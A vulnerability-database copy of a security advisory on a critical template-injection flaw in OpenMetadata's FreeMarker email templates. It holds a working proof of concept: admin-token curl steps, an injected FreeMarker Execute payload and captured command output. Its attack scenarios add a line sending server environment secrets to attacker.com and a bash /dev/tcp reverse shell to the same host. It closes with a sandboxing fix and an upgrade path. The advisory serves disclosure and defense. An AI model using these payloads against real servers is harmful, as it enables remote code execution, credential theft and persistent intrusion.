VDB
Sign up
CRITICAL9.1

GHSA-5f29-2333-h9c7

OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

Quick fix

GHSA-5f29-2333-h9c7 — org.open-metadata:platform: upgrade to the fixed version with the command below.

# pom.xml: bump <version>1.11.4</version> for org.open-metadata:platform

Details

# OpenMetadata RCE Vulnerability - Proof of Concept

## Executive Summary

**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.

## Credit - @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud

## Vulnerability Details

### 1. Root Cause

File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`

**Lines 35-45** contain unsafe FreeMarker template instantiation:

```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ```

**Missing Security Controls**: - ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation - ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection - ❌ No input validation - Template content not sanitized

### 2. Attack Vector (VERIFIED)

**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <admin_jwt_token> Content-Type: application/json-patch+json

[ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ] ```

**Step 2**: Malicious template stored in MySQL database:

```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>... ```

**Step 3**: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)

**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:

```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ```

---

## Exploit Verification

### Environment

- **Version**: OpenMetadata 1.11.2 (Latest) - **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - **Test Date**: December 15, 2025

### Step-by-Step Reproduction

#### 1. Deploy OpenMetadata 1.11.2

```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ```

**Result**: ✅ OpenMetadata running on localhost:8585

#### 2. Obtain Admin JWT Token

```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..." ```

**Result**: ✅ Token obtained (654 characters, 1-hour expiry)

#### 3. Identify Target Template

```bash # Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ```

**Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`

#### 4. Inject RCE Payload

```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ```

**Result**: ✅ **HTTP 200 OK** - Template modified successfully

**Response Excerpt**: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ```

#### 5. Setup SMTP Server

```bash # Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest

# Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';"

# Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ```

**Result**: ✅ SMTP server ready at fakesmtp:1025

#### 6. Trigger RCE Execution

```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}' ```

**Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully."

#### 7. Verify RCE Execution

```bash # Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ```

**Result**: ✅ **RCE CONFIRMED!**

**Email Content**: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata - /opt/openmetadata ```

**Command Execution Proof**: - ✅ `whoami` command executed → returned `openmetadata` - ✅ `pwd` command executed → returned `/opt/openmetadata` - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved

---

## Attack Scenarios

### Scenario 1: Privilege Escalation

1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server

### Scenario 2: Data Exfiltration

```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ```

Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials

### Scenario 3: Reverse Shell

```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ```

Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)

---

## Impact Assessment

### Technical Impact

- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets - **Integrity**: **HIGH** - Full control over OpenMetadata application and data - **Availability**: **HIGH** - Ability to crash application, delete data, deny service

### Business Impact

- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage - **Compliance**: GDPR, SOC2, HIPAA violations if exploited - **Reputation**: Critical security failure in data governance platform - **Supply Chain**: Potential pivot to connected data sources (70+ connectors)

### CVSS 3.1 Score

``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ```

- **Attack Vector (AV)**: Network (N) - **Attack Complexity (AC)**: Low (L) - Simple API requests - **Privileges Required (PR)**: High (H) - Admin role required - **User Interaction (UI)**: None (N) - **Scope (S)**: Changed (C) - Impacts beyond application (server OS) - **Confidentiality (C)**: High (H) - **Integrity (I)**: High (H) - **Availability (A)**: High (H)

**Score**: **9.1 (CRITICAL)**

---

## Remediation

### Immediate Fix (CRITICAL)

**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`

**Replace lines 38-42 with:**

```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ``` ---

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/org.open-metadata:platform
Introduced in: 1.5.0Fixed in: 1.11.4
Fix# pom.xml: bump <version>1.11.4</version> for org.open-metadata:platform

References